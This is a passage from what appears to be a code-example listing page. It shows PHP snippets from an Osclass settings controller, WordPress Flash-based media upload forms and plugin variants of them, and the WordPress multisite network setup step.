             $maxLatestItems = (int) strip_tags($maxLatestItems);
             $error = "";
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sPageTitle), array('s_section' => 'osclass', 's_name' => 'pageTitle'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sPageDesc), array('s_section' => 'osclass', 's_name' => 'pageDesc'));
             if (!defined('DEMO')) {
                 $iUpdated += Preference::newInstance()->update(array('s_value' => $sContactEmail), array('s_section' => 'osclass', 's_name' => 'contactEmail'));
             }
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sLanguage), array('s_section' => 'osclass', 's_name' => 'language'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sDateFormat), array('s_section' => 'osclass', 's_name' => 'dateFormat'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sCurrency), array('s_section' => 'osclass', 's_name' => 'currency'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sWeekStart), array('s_section' => 'osclass', 's_name' => 'weekStart'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sTimeFormat), array('s_section' => 'osclass', 's_name' => 'timeFormat'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sTimezone), array('s_section' => 'osclass', 's_name' => 'timezone'));
             if (is_int($sNumRssItems)) {
                 $iUpdated += Preference::newInstance()->update(array('s_value' => $sNumRssItems), array('s_section' => 'osclass', 's_name' => 'num_rss_items'));
             } else {
                 if ($error != '') {
                     $error .= "<br/>";
                 }
                 $error .= _m('Number of items in the RSS must be integer');
             }
             if (is_int($maxLatestItems)) {
                 $iUpdated += Preference::newInstance()->update(array('s_value' => $maxLatestItems), array('s_section' => 'osclass', 's_name' => 'maxLatestItems@home'));
             } else {
                 if ($error != '') {
                     $error .= "<br/>";
                 }
                 $error .= _m('Number of recent items displayed at home must be integer');
             }
             if ($iUpdated > 0) {
                 if ($error != '') {
                     osc_add_flash_error_message($error . "<br/>" . _m('General settings have been updated'), 'admin');
                 } else {
                     osc_add_flash_ok_message(_m('General settings have been updated'), 'admin');
                 }
             } else {
                 if ($error != '') {
                     osc_add_flash_error_message($error, 'admin');
                 }
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings');
             break;
         case 'latestsearches':
             //calling the comments settings view
             $this->doView('settings/searches.php');
             break;
         case 'latestsearches_post':
             // updating comment
             if (Params::getParam('save_latest_searches') == 'on') {
                 Preference::newInstance()->update(array('s_value' => 1), array('s_name' => 'save_latest_searches'));
             } else {
                 Preference::newInstance()->update(array('s_value' => 0), array('s_name' => 'save_latest_searches'));
             }
             Preference::newInstance()->update(array('s_value' => Params::getParam('customPurge')), array('s_name' => 'purge_latest_searches'));
             osc_add_flash_ok_message(_m('Settings have been updated'), 'admin');
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=latestsearches');
             break;
         default:
             // calling the view
             $aLanguages = OSCLocale::newInstance()->listAllEnabled();
             $aCurrencies = Currency::newInstance()->listAll();
             $this->_exportVariableToView('aLanguages', $aLanguages);
             $this->_exportVariableToView('aCurrencies', $aCurrencies);
             $this->doView('settings/index.php');
             break;
     }
 }
예제 #19
0
/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @return unknown
 */
function got_mod_rewrite() {
	$got_rewrite = apache_mod_loaded('mod_rewrite', true);
	return apply_filters('got_rewrite', $got_rewrite);
}
예제 #20
0
/**
 * Method add MultiPowUPload JS code to page if flash uploader enabled
 * and open comment tag for	WP flash uploader js code
**/
function multipowupload_add_js_code()
{
    global $type, $tab, $mpu_rel_dir;
    global $mpu_wpver;
    /* code from media.php WP script*/
    $flash_action_url = admin_url('async-upload.php');
    // If Mac and mod_security, no Flash. :(
    $flash = true;
    if (false !== stripos($_SERVER['HTTP_USER_AGENT'], 'mac') && apache_mod_loaded('mod_security')) {
        $flash = false;
    }
    $flash = apply_filters('flash_uploader', $flash);
    $post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
    $upload_size_unit = $max_upload_size = wp_max_upload_size();
    $sizes = array('KB', 'MB', 'GB');
    for ($u = -1; $upload_size_unit > 1024 && $u < count($sizes) - 1; $u++) {
        $upload_size_unit /= 1024;
    }
    if ($u < 0) {
        $upload_size_unit = 0;
        $u = 0;
    } else {
        $upload_size_unit = (int) $upload_size_unit;
    }
    if ($flash) {
        ?>
<script type="text/javascript" src="<? echo $mpu_rel_dir; ?>mpu.js">
</script>

<!--SwfObject  was removed from wp 3.3 distribution pckage, so we should include it manually-->
<?php 
        //print_r($mpu_wpver);
        if ($mpu_wpver[0] == 3 && $mpu_wpver[1] > 2) {
            echo '<script type="text/javascript" src="' . $mpu_rel_dir . 'swfobject.js"></script>';
        }
        ?>
<script type="text/javascript">
	//init swfu object with custom settings, because we have commented it out
	var swfu = {"customSettings":{"swfupload_element_id":"flash-upload-ui", "degraded_element_id":"html-upload-ui"}}
	//emulate function that return count of files in queue
	swfu.getStats = function()
	{		
		return countFilesInQueue();
	};
	
	//call swfuploadPreLoad methjod on document initialization to show needed upload interface
	<?php 
        if (!($mpu_wpver[0] == 3 && $mpu_wpver[1] > 2)) {
            echo '
		jQuery(document).ready(function($)
		{	
			swfuploadPreLoad();
		});';
        } else {
            echo "jQuery(document).ready(function(\$)\t\t{\t\n\t\t\t\t\$('#plupload-upload-ui').css('display', 'none');\n\t\t\t\t\$('#html-upload-ui').css('display', 'none');\n\t\t\t\t\$('#mpu-switch-to-buildin').click(function()\t{\n\t\t\t\t\t\$('#flash-upload-ui').css('display', 'none');\n\t\t\t\t\t\$('#plupload-upload-ui').css('display', '');\n\t\t\t\t\t\$('#html-upload-ui').css('display', '');\n\t\t\t\t\t\$('#media-items, p.submit, span.big-file-warning').css('display', '');\n\t\t\t\t\tswitchUploader(1);\n\t\t\t\t});\n\t\t\t\t\$('#pl-switch-to-mpu, #html-switch-to-mpu').click(function()\t{\n\t\t\t\t\t\$('#flash-upload-ui').css('display', '');\n\t\t\t\t\t\$('#plupload-upload-ui').css('display', 'none');\n\t\t\t\t\t\$('#html-upload-ui').css('display', 'none');\n\t\t\t\t\t\$('#media-items, p.submit, span.big-file-warning').css('display', '');\t\t\t\t\t\n\t\t\t\t});\n\t\t});";
        }
        ?>
	
	//MultiPowUpload configuration code
	var params = {  
		BGColor: "#FFFFFF"
	};
	
	var attributes = {  
		id: "MultiPowUpload",  
		name: "MultiPowUpload"
	};
	
	var flashvars = {
	  "serialNumber":"<?php 
        echo get_option(MPU_SERIAL_NUMBER_CFG);
        ?>
",
	  "uploadUrl": "<?php 
        echo $flash_action_url;
        ?>
",
	  "useExternalInterface": "true",
	  "sendThumbnails": "<?php 
        echo get_option(MPU_GENERATE_THUMBNAILS_CFG);
        ?>
",
	  "postFields.file": "async-upload",
	  "postFields.thumbnail": "async-upload",
	  "fileFilter.types": "Allowed files| <?php 
        echo apply_filters('upload_file_glob', '*.*');
        ?>
",	  
	  "fileFilter.maxSize" : "<?php 
        echo $max_upload_size;
        ?>
",
	  "sendOriginalImages": "<?php 
        echo get_option(MPU_UPLOAD_ORIGINAL_IMAGE_CFG);
        ?>
",
	  "fileView.defaultView": "<?php 
        echo get_option(MPU_UI_DEFAUlT_VIEW_CFG);
        ?>
",	  
	  "thumbnail.width": "<?php 
        echo get_option(MPU_THUMBNAILS_WIDTH_CFG);
        ?>
",
	  "thumbnail.height": "<?php 
        echo get_option(MPU_THUMBNAILS_HEIGHT_CFG);
        ?>
",
	  "thumbnail.resizeMode": "<?php 
        echo get_option(MPU_THUMBNAIL_RESIZE_MODE_CFG);
        ?>
",
	  "thumbnailView.allowRotate": "<?php 
        echo get_option(MPU_THUMBNAIL_ALLOW_ROTATE_CFG);
        ?>
",
	  "thumbnailView.allowCrop": "<?php 
        echo get_option(MPU_THUMBNAIL_ALLOW_CROP_CFG);
        ?>
",
	  "thumbnail.watermark.enabled": "<?php 
        echo get_option(MPU_THUMBNAIL_WATERMARK_ENABLED_CFG);
        ?>
",
	  "thumbnail.watermark.alpha": "<?php 
        echo get_option(MPU_THUMBNAIL_WATERMARK_ALPHA_CFG);
        ?>
",
	  "thumbnail.watermark.imageUrl": "<?php 
        echo get_option(MPU_THUMBNAIL_WATERMARK_URL_CFG);
        ?>
",
	  "thumbnail.watermark.position": "<?php 
        echo get_option(MPU_THUMBNAIL_WATERMARK_POSITION_CFG);
        ?>
",
	  "thumbnail.watermark.text": "<?php 
        echo get_option(MPU_THUMBNAIL_WATERMARK_TEXT_CFG);
        ?>
",
	  "thumbnail.watermark.textStyle.color": "<?php 
        echo get_option(MPU_THUMBNAIL_WATERMARK_TEXT_COLOR_CFG);
        ?>
",
	  "thumbnail.watermark.textStyle.font": "<?php 
        echo get_option(MPU_THUMBNAIL_WATERMARK_TEXT_FONT_CFG);
        ?>
",
	  "thumbnail.watermark.textStyle.size": "<?php 
        echo get_option(MPU_THUMBNAIL_WATERMARK_TEXT_SIZE_CFG);
        ?>
",
	  "thumbnail.watermark.textStyle.style": "<?php 
        echo get_option(MPU_THUMBNAIL_WATERMARK_TEXT_STYLE_CFG);
        ?>
",	  
	  "language.autoDetect": "<?php 
        echo get_option(MPU_UI_LANGUAGE_AUTO_CFG);
        ?>
",
	  "language.source": "<?php 
        echo $mpu_rel_dir . get_option(MPU_UI_LANGUAGE_FILE_CFG);
        ?>
"	  

	};
	
//Default MultiPowUpload should have minimum width=410 and minimum height=180
	swfobject.embedSWF("<?php 
        echo $mpu_rel_dir;
        ?>
ElementITMultiPowUpload.swf", "MultiPowUpload_holder", "420", "250", "10.0.0", "expressInstall.swf", flashvars, params, attributes);
	
	function MultiPowUpload_onMovieLoad()
	{		
		
		
		
		MultiPowUpload.addPostField("post_id", "<?php 
        echo $post_id;
        ?>
");
		MultiPowUpload.addPostField("auth_cookie", "<?php 
        echo is_ssl() ? $_COOKIE[SECURE_AUTH_COOKIE] : $_COOKIE[AUTH_COOKIE];
        ?>
");
		MultiPowUpload.addPostField("logged_in_cookie", "<?php 
        echo $_COOKIE[LOGGED_IN_COOKIE];
        ?>
");
		MultiPowUpload.addPostField("_wpnonce", "<?php 
        echo wp_create_nonce('media-form');
        ?>
");
		MultiPowUpload.addPostField("type", "<?php 
        echo $type;
        ?>
");
		MultiPowUpload.addPostField("tab", "<?php 
        echo $tab;
        ?>
");
		MultiPowUpload.addPostField("short", "1");	

		
	}
</script>
<?php 
        if ($mpu_wpver[0] == 2 && $mpu_wpver[1] < 8) {
            echo "<![CDATA[";
        }
        if ($mpu_wpver[0] == 3 && $mpu_wpver[1] < 3 || $mpu_wpver[0] < 3) {
            echo '<!-- comment for <div> tag  with SWFUpload flash movie  and replace it with out own tag' . ($mpu_wpver[0] == 3 && $mpu_wpver[2] < 3) . '-' . ($mpu_wpver[0] < 3);
        } else {
            multipowupload_add_interface();
            echo "</div>";
        }
    }
}
예제 #21
0
파일: media.php 프로젝트: realfluid/umbaugh
/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $errors
 */
function media_upload_form( $errors = null ) {
	global $type, $tab;

	$flash_action_url = admin_url('async-upload.php');

	// If Mac and mod_security, no Flash. :(
	$flash = true;
	if ( false !== stripos($_SERVER['HTTP_USER_AGENT'], 'mac') && apache_mod_loaded('mod_security') )
		$flash = false;

	$flash = apply_filters('flash_uploader', $flash);
	$post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;

	$upload_size_unit = $max_upload_size =  wp_max_upload_size();
	$sizes = array( 'KB', 'MB', 'GB' );
	for ( $u = -1; $upload_size_unit > 1024 && $u < count( $sizes ) - 1; $u++ )
		$upload_size_unit /= 1024;
	if ( $u < 0 ) {
		$upload_size_unit = 0;
		$u = 0;
	} else {
		$upload_size_unit = (int) $upload_size_unit;
	}
?>
<script type="text/javascript">
//<![CDATA[
var uploaderMode = 0;
jQuery(document).ready(function($){
	uploaderMode = getUserSetting('uploader');
	$('.upload-html-bypass a').click(function(){deleteUserSetting('uploader');uploaderMode=0;swfuploadPreLoad();return false;});
	$('.upload-flash-bypass a').click(function(){setUserSetting('uploader', '1');uploaderMode=1;swfuploadPreLoad();return false;});
});
//]]>
</script>
<div id="media-upload-notice">
<?php if (isset($errors['upload_notice']) ) { ?>
	<?php echo $errors['upload_notice']; ?>
<?php } ?>
</div>
<div id="media-upload-error">
<?php if (isset($errors['upload_error']) && is_wp_error($errors['upload_error'])) { ?>
	<?php echo $errors['upload_error']->get_error_message(); ?>
<?php } ?>
</div>
<?php
// Check quota for this blog if multisite
if ( is_multisite() && !is_upload_space_available() ) {
	echo '<p>' . sprintf( __( 'Sorry, you have filled your storage quota (%s MB).' ), get_space_allowed() ) . '</p>';
	return;
}

do_action('pre-upload-ui');

if ( $flash ) : ?>
<script type="text/javascript">
//<![CDATA[
var swfu;
SWFUpload.onload = function() {
	var settings = {
			button_text: '<span class="button"><?php _e('Select Files'); ?><\/span>',
			button_text_style: '.button { text-align: center; font-weight: bold; font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif; font-size: 11px; text-shadow: 0 1px 0 #FFFFFF; color:#464646; }',
			button_height: "23",
			button_width: "132",
			button_text_top_padding: 3,
			button_image_url: '<?php echo includes_url('images/upload.png?ver=20100531'); ?>',
			button_placeholder_id: "flash-browse-button",
			upload_url : "<?php echo esc_attr( $flash_action_url ); ?>",
			flash_url : "<?php echo includes_url('js/swfupload/swfupload.swf'); ?>",
			file_post_name: "async-upload",
			file_types: "<?php echo apply_filters('upload_file_glob', '*.*'); ?>",
			post_params : {
				"post_id" : "<?php echo $post_id; ?>",
				"auth_cookie" : "<?php echo (is_ssl() ? $_COOKIE[SECURE_AUTH_COOKIE] : $_COOKIE[AUTH_COOKIE]); ?>",
				"logged_in_cookie": "<?php echo $_COOKIE[LOGGED_IN_COOKIE]; ?>",
				"_wpnonce" : "<?php echo wp_create_nonce('media-form'); ?>",
				"type" : "<?php echo $type; ?>",
				"tab" : "<?php echo $tab; ?>",
				"short" : "1"
			},
			file_size_limit : "<?php echo $max_upload_size; ?>b",
			file_dialog_start_handler : fileDialogStart,
			file_queued_handler : fileQueued,
			upload_start_handler : uploadStart,
			upload_progress_handler : uploadProgress,
			upload_error_handler : uploadError,
			upload_success_handler : uploadSuccess,
			upload_complete_handler : uploadComplete,
			file_queue_error_handler : fileQueueError,
			file_dialog_complete_handler : fileDialogComplete,
			swfupload_pre_load_handler: swfuploadPreLoad,
			swfupload_load_failed_handler: swfuploadLoadFailed,
			custom_settings : {
				degraded_element_id : "html-upload-ui", // id of the element displayed when swfupload is unavailable
				swfupload_element_id : "flash-upload-ui" // id of the element displayed when swfupload is available
			},
			debug: false
		};
		swfu = new SWFUpload(settings);
};
//]]>
</script>

<div id="flash-upload-ui" class="hide-if-no-js">
<?php do_action('pre-flash-upload-ui'); ?>

	<div>
	<?php _e( 'Choose files to upload' ); ?>
	<div id="flash-browse-button"></div>
	<span><input id="cancel-upload" disabled="disabled" onclick="cancelUpload()" type="button" value="<?php esc_attr_e('Cancel Upload'); ?>" class="button" /></span>
	</div>
	<p class="media-upload-size"><?php printf( __( 'Maximum upload file size: %d%s' ), $upload_size_unit, $sizes[$u] ); ?></p>
<?php do_action('post-flash-upload-ui'); ?>
	<p class="howto"><?php _e('After a file has been uploaded, you can add titles and descriptions.'); ?></p>
</div>
<?php endif; // $flash ?>

<div id="html-upload-ui">
<?php do_action('pre-html-upload-ui'); ?>
	<p id="async-upload-wrap">
	<label class="screen-reader-text" for="async-upload"><?php _e('Upload'); ?></label>
	<input type="file" name="async-upload" id="async-upload" /> <input type="submit" class="button" name="html-upload" value="<?php esc_attr_e('Upload'); ?>" /> <a href="#" onclick="try{top.tb_remove();}catch(e){}; return false;"><?php _e('Cancel'); ?></a>
	</p>
	<div class="clear"></div>
	<p class="media-upload-size"><?php printf( __( 'Maximum upload file size: %d%s' ), $upload_size_unit, $sizes[$u] ); ?></p>
	<?php if ( is_lighttpd_before_150() ): ?>
	<p><?php _e('If you want to use all capabilities of the uploader, like uploading multiple files at once, please upgrade to lighttpd 1.5.'); ?></p>
	<?php endif;?>
<?php do_action('post-html-upload-ui', $flash); ?>
</div>
<?php do_action('post-upload-ui'); ?>
<?php
}
예제 #22
0
        public static function a_overtake_flash_uploader()
        {
            // figure out if this is a request sent from a mediabox created from a button made by this plugin
            $shared = self::_matched_tokens();
            if (!is_array($shared) || empty($shared)) {
                return;
            }
            // if there is at least on plugin's tracking var in the request, that means that at least one plugin is waiting on information
            // to be sent from the media box. since that is the case, we need to process that information, and send it through a message
            // that the launcher script can understand and dispatch
            /** only use the first match on the hook comparison until a suitable solutions for handling multiple on the same form is created */
            /** TODO: allow for multiple of these to be tracked on a single form */
            $token = array_shift($shared);
            ?>
			<script id="swfupload-settngs-takeover" language="javascript" type="text/javascript">
				if (typeof swfu != 'undefined' && swfu != null) {
					if (typeof console == 'undefined' || console == null) var console = {log:function(){}};
					jQuery(function($) {
						console.log('SWFU', swfu);
					});
				}
			</script>
			<?php 
            return;
            // this is more or less a copy of large portions of the function media_upload_form() in /wp-admin/includes/media.php , tailored
            // so that it does not lose track of mba's tracking cookie when the form is submitted. ill only comment my changes
            global $type, $tab;
            $flash_action_url = add_query_arg(array(self::$_hooks[self::$_tokens[$token]]['tracking_token_name'] => "1"), admin_url('async-upload.php'));
            // If Mac and mod_security, no Flash. :(
            $flash = true;
            if (false !== stripos($_SERVER['HTTP_USER_AGENT'], 'mac') && apache_mod_loaded('mod_security')) {
                $flash = false;
            }
            $flash = apply_filters('flash_uploader', $flash);
            $post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
            $upload_size_unit = $max_upload_size = wp_max_upload_size();
            $sizes = array('KB', 'MB', 'GB');
            for ($u = -1; $upload_size_unit > 1024 && $u < count($sizes) - 1; $u++) {
                $upload_size_unit /= 1024;
            }
            if ($u < 0) {
                $upload_size_unit = 0;
                $u = 0;
            } else {
                $upload_size_unit = (int) $upload_size_unit;
            }
            ?>
			<div style="display:none;"><div id="flash-browse-button"></div><div id="html-upload-ui"></div><div id="flash-upload-ui"></div></div>
			<script tag="swfupload-settings-override" language="javascript">
			var swfu;
			SWFUpload.onload = function() {
				var settings = {
						button_text: '<span class="button"><?php 
            _e('Select Files', 'opentickets-community-edition');
            ?>
<\/span>',
						button_text_style: '.button { text-align: center; font-weight: bold; font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif; font-size: 11px; text-shadow: 0 1px 0 #FFFFFF; color:#464646; }',
						button_height: "23",
						button_width: "132",
						button_text_top_padding: 3,
						button_image_url: '<?php 
            echo includes_url('images/upload.png?ver=20100531');
            ?>
',
						button_placeholder_id: "flash-browse-button",
						upload_url : "<?php 
            echo esc_attr($flash_action_url);
            ?>
",
						flash_url : "<?php 
            echo includes_url('js/swfupload/swfupload.swf');
            ?>
",
						file_post_name: "async-upload",
						file_types: "<?php 
            echo apply_filters('upload_file_glob', '*.*');
            ?>
",
						post_params : {
							"post_id" : "<?php 
            echo $post_id;
            ?>
",
							"auth_cookie" : "<?php 
            echo is_ssl() ? $_COOKIE[SECURE_AUTH_COOKIE] : $_COOKIE[AUTH_COOKIE];
            ?>
",
							"logged_in_cookie": "<?php 
            echo $_COOKIE[LOGGED_IN_COOKIE];
            ?>
",
							"_wpnonce" : "<?php 
            echo wp_create_nonce('media-form');
            ?>
",
							"type" : "<?php 
            echo $type;
            ?>
",
							"tab" : "<?php 
            echo $tab;
            ?>
",
							"short" : "1",
							<?php 
            /* THIS IS MY CHANGE. it ensures that the tracking token gets passed with the rest of the request as to not lose track of it */
            ?>
							"<?php 
            echo self::$_hooks[self::$_tokens[$token]]['tracking_token_name'];
            ?>
": "1"
						},
						file_size_limit : "<?php 
            echo $max_upload_size;
            ?>
b",
						file_dialog_start_handler : fileDialogStart,
						file_queued_handler : fileQueued,
						upload_start_handler : uploadStart,
						upload_progress_handler : uploadProgress,
						upload_error_handler : uploadError,
						upload_success_handler : uploadSuccess,
						upload_complete_handler : uploadComplete,
						file_queue_error_handler : fileQueueError,
						file_dialog_complete_handler : fileDialogComplete,
						swfupload_pre_load_handler: swfuploadPreLoad,
						swfupload_load_failed_handler: swfuploadLoadFailed,
						custom_settings : {
							degraded_element_id : "html-upload-ui", // id of the element displayed when swfupload is unavailable
							swfupload_element_id : "flash-upload-ui" // id of the element displayed when swfupload is available
						},
						debug: true
					};
					swfu = new SWFUpload(settings);
			};
			</script>
			<?php 
        }
예제 #23
0
/**
 * Prints step 1 for Network installation process.
 *
 * @todo Realistically, step 1 should be a welcome screen explaining what a Network is and such. Navigating to Tools > Network
 * 	should not be a sudden "Welcome to a new install process! Fill this out and click here." See also contextual help todo.
 *
 * @since 3.0.0
 */
function network_step1($errors = false)
{
    global $is_apache;
    if (defined('DO_NOT_UPGRADE_GLOBAL_TABLES')) {
        echo '<div class="error"><p><strong>' . __('ERROR:') . '</strong> ' . __('The constant DO_NOT_UPGRADE_GLOBAL_TABLES cannot be defined when creating a network.') . '</p></div>';
        echo '</div>';
        include ABSPATH . 'wp-admin/admin-footer.php';
        die;
    }
    $active_plugins = get_option('active_plugins');
    if (!empty($active_plugins)) {
        echo '<div class="updated"><p><strong>' . __('Warning:') . '</strong> ' . sprintf(__('Please <a href="%s">deactivate your plugins</a> before enabling the Network feature.'), admin_url('plugins.php?plugin_status=active')) . '</p></div><p>' . __('Once the network is created, you may reactivate your plugins.') . '</p>';
        echo '</div>';
        include ABSPATH . 'wp-admin/admin-footer.php';
        die;
    }
    $hostname = get_clean_basedomain();
    $has_ports = strstr($hostname, ':');
    if (false !== $has_ports && !in_array($has_ports, array(':80', ':443'))) {
        echo '<div class="error"><p><strong>' . __('ERROR:') . '</strong> ' . __('You cannot install a network of sites with your server address.') . '</p></div>';
        echo '<p>' . sprintf(__('You cannot use port numbers such as <code>%s</code>.'), $has_ports) . '</p>';
        echo '<a href="' . esc_url(admin_url()) . '">' . __('Return to Dashboard') . '</a>';
        echo '</div>';
        include ABSPATH . 'wp-admin/admin-footer.php';
        die;
    }
    echo '<form method="post" action="">';
    wp_nonce_field('install-network-1');
    $error_codes = array();
    if (is_wp_error($errors)) {
        echo '<div class="error"><p><strong>' . __('ERROR: The network could not be created.') . '</strong></p>';
        foreach ($errors->get_error_messages() as $error) {
            echo "<p>{$error}</p>";
        }
        echo '</div>';
        $error_codes = $errors->get_error_codes();
    }
    $site_name = !empty($_POST['sitename']) && !in_array('empty_sitename', $error_codes) ? $_POST['sitename'] : sprintf(_x('%s Sites', 'Default network name'), get_option('blogname'));
    $admin_email = !empty($_POST['email']) && !in_array('invalid_email', $error_codes) ? $_POST['email'] : get_option('admin_email');
    ?>
	<p><?php 
    _e('Welcome to the Network installation process!');
    ?>
</p>
	<p><?php 
    _e('Fill in the information below and you&#8217;ll be on your way to creating a network of WordPress sites. We will create configuration files in the next step.');
    ?>
</p>
	<?php 
    if (isset($_POST['subdomain_install'])) {
        $subdomain_install = (bool) $_POST['subdomain_install'];
    } elseif (apache_mod_loaded('mod_rewrite')) {
        // assume nothing
        $subdomain_install = true;
    } elseif (!allow_subdirectory_install()) {
        $subdomain_install = true;
    } else {
        $subdomain_install = false;
        if ($got_mod_rewrite = got_mod_rewrite()) {
            // dangerous assumptions
            echo '<div class="updated inline"><p><strong>' . __('Note:') . '</strong> ' . __('Please make sure the Apache <code>mod_rewrite</code> module is installed as it will be used at the end of this installation.') . '</p>';
        } elseif ($is_apache) {
            echo '<div class="error inline"><p><strong>' . __('Warning!') . '</strong> ' . __('It looks like the Apache <code>mod_rewrite</code> module is not installed.') . '</p>';
        }
        if ($got_mod_rewrite || $is_apache) {
            // Protect against mod_rewrite mimicry (but ! Apache)
            echo '<p>' . __('If <code>mod_rewrite</code> is disabled, ask your administrator to enable that module, or look at the <a href="http://httpd.apache.org/docs/mod/mod_rewrite.html">Apache documentation</a> or <a href="http://www.google.com/search?q=apache+mod_rewrite">elsewhere</a> for help setting it up.') . '</p></div>';
        }
    }
    if (allow_subdomain_install() && allow_subdirectory_install()) {
        ?>
		<h3><?php 
        esc_html_e('Addresses of Sites in your Network');
        ?>
</h3>
		<p><?php 
        _e('Please choose whether you would like sites in your WordPress network to use sub-domains or sub-directories. <strong>You cannot change this later.</strong>');
        ?>
</p>
		<p><?php 
        _e('You will need a wildcard DNS record if you are going to use the virtual host (sub-domain) functionality.');
        ?>
</p>
		<?php 
        // @todo: Link to an MS readme?
        ?>
		<table class="form-table">
			<tr>
				<th><label><input type='radio' name='subdomain_install' value='1'<?php 
        checked($subdomain_install);
        ?>
 /> <?php 
        _e('Sub-domains');
        ?>
</label></th>
				<td><?php 
        printf(_x('like <code>site1.%1$s</code> and <code>site2.%1$s</code>', 'subdomain examples'), $hostname);
        ?>
</td>
			</tr>
			<tr>
				<th><label><input type='radio' name='subdomain_install' value='0'<?php 
        checked(!$subdomain_install);
        ?>
 /> <?php 
        _e('Sub-directories');
        ?>
</label></th>
				<td><?php 
        printf(_x('like <code>%1$s/site1</code> and <code>%1$s/site2</code>', 'subdirectory examples'), $hostname);
        ?>
</td>
			</tr>
		</table>

<?php 
    }
    if (WP_CONTENT_DIR != ABSPATH . 'wp-content' && (allow_subdirectory_install() || !allow_subdomain_install())) {
        echo '<div class="error inline"><p><strong>' . __('Warning!') . '</strong> ' . __('Subdirectory networks may not be fully compatible with custom wp-content directories.') . '</p></div>';
    }
    $is_www = 0 === strpos($hostname, 'www.');
    if ($is_www) {
        ?>
		<h3><?php 
        esc_html_e('Server Address');
        ?>
</h3>
		<p><?php 
        printf(__('We recommend you change your siteurl to <code>%1$s</code> before enabling the network feature. It will still be possible to visit your site using the <code>www</code> prefix with an address like <code>%2$s</code> but any links will not have the <code>www</code> prefix.'), substr($hostname, 4), $hostname);
        ?>
</p>
		<table class="form-table">
			<tr>
				<th scope='row'><?php 
        esc_html_e('Server Address');
        ?>
</th>
				<td>
					<?php 
        printf(__('The internet address of your network will be <code>%s</code>.'), $hostname);
        ?>
				</td>
			</tr>
		</table>
		<?php 
    }
    ?>

		<h3><?php 
    esc_html_e('Network Details');
    ?>
</h3>
		<table class="form-table">
		<?php 
    if ('localhost' == $hostname) {
        ?>
			<tr>
				<th scope="row"><?php 
        esc_html_e('Sub-directory Install');
        ?>
</th>
				<td><?php 
        _e('Because you are using <code>localhost</code>, the sites in your WordPress network must use sub-directories. Consider using <code>localhost.localdomain</code> if you wish to use sub-domains.');
        // Uh oh:
        if (!allow_subdirectory_install()) {
            echo ' <strong>' . __('Warning!') . ' ' . __('The main site in a sub-directory install will need to use a modified permalink structure, potentially breaking existing links.') . '</strong>';
        }
        ?>
</td>
			</tr>
		<?php 
    } elseif (!allow_subdomain_install()) {
        ?>
			<tr>
				<th scope="row"><?php 
        esc_html_e('Sub-directory Install');
        ?>
</th>
				<td><?php 
        _e('Because your install is in a directory, the sites in your WordPress network must use sub-directories.');
        // Uh oh:
        if (!allow_subdirectory_install()) {
            echo ' <strong>' . __('Warning!') . ' ' . __('The main site in a sub-directory install will need to use a modified permalink structure, potentially breaking existing links.') . '</strong>';
        }
        ?>
</td>
			</tr>
		<?php 
    } elseif (!allow_subdirectory_install()) {
        ?>
			<tr>
				<th scope="row"><?php 
        esc_html_e('Sub-domain Install');
        ?>
</th>
				<td><?php 
        _e('Because your install is not new, the sites in your WordPress network must use sub-domains.');
        echo ' <strong>' . __('The main site in a sub-directory install will need to use a modified permalink structure, potentially breaking existing links.') . '</strong>';
        ?>
</td>
			</tr>
		<?php 
    }
    ?>
		<?php 
    if (!$is_www) {
        ?>
			<tr>
				<th scope='row'><?php 
        esc_html_e('Server Address');
        ?>
</th>
				<td>
					<?php 
        printf(__('The internet address of your network will be <code>%s</code>.'), $hostname);
        ?>
				</td>
			</tr>
		<?php 
    }
    ?>
			<tr>
				<th scope='row'><?php 
    esc_html_e('Network Title');
    ?>
</th>
				<td>
					<input name='sitename' type='text' size='45' value='<?php 
    echo esc_attr($site_name);
    ?>
' />
					<p class="description">
						<?php 
    _e('What would you like to call your network?');
    ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope='row'><?php 
    esc_html_e('Network Admin Email');
    ?>
</th>
				<td>
					<input name='email' type='text' size='45' value='<?php 
    echo esc_attr($admin_email);
    ?>
' />
					<p class="description">
						<?php 
    _e('Your email address.');
    ?>
					</p>
				</td>
			</tr>
		</table>
		<?php 
    submit_button(__('Install'), 'primary', 'submit');
    ?>
	</form>
	<?php 
}
예제 #24
0
/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $errors
 */
function media_upload_form($errors = null)
{
    global $type, $tab;
    $flash_action_url = admin_url('async-upload.php');
    // If Mac and mod_security, no Flash. :(
    $flash = true;
    if (false !== strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'mac') && apache_mod_loaded('mod_security')) {
        $flash = false;
    }
    $flash = apply_filters('flash_uploader', $flash);
    $post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
    ?>
<script type="text/javascript">
//<![CDATA[
var uploaderMode = 0;
jQuery(document).ready(function($){
	uploaderMode = getUserSetting('uploader');
	$('.upload-html-bypass a').click(function(){deleteUserSetting('uploader');uploaderMode=0;swfuploadPreLoad();return false;});
	$('.upload-flash-bypass a').click(function(){setUserSetting('uploader', '1');uploaderMode=1;swfuploadPreLoad();return false;});
});
//]]>
</script>
<div id="media-upload-notice">
<?php 
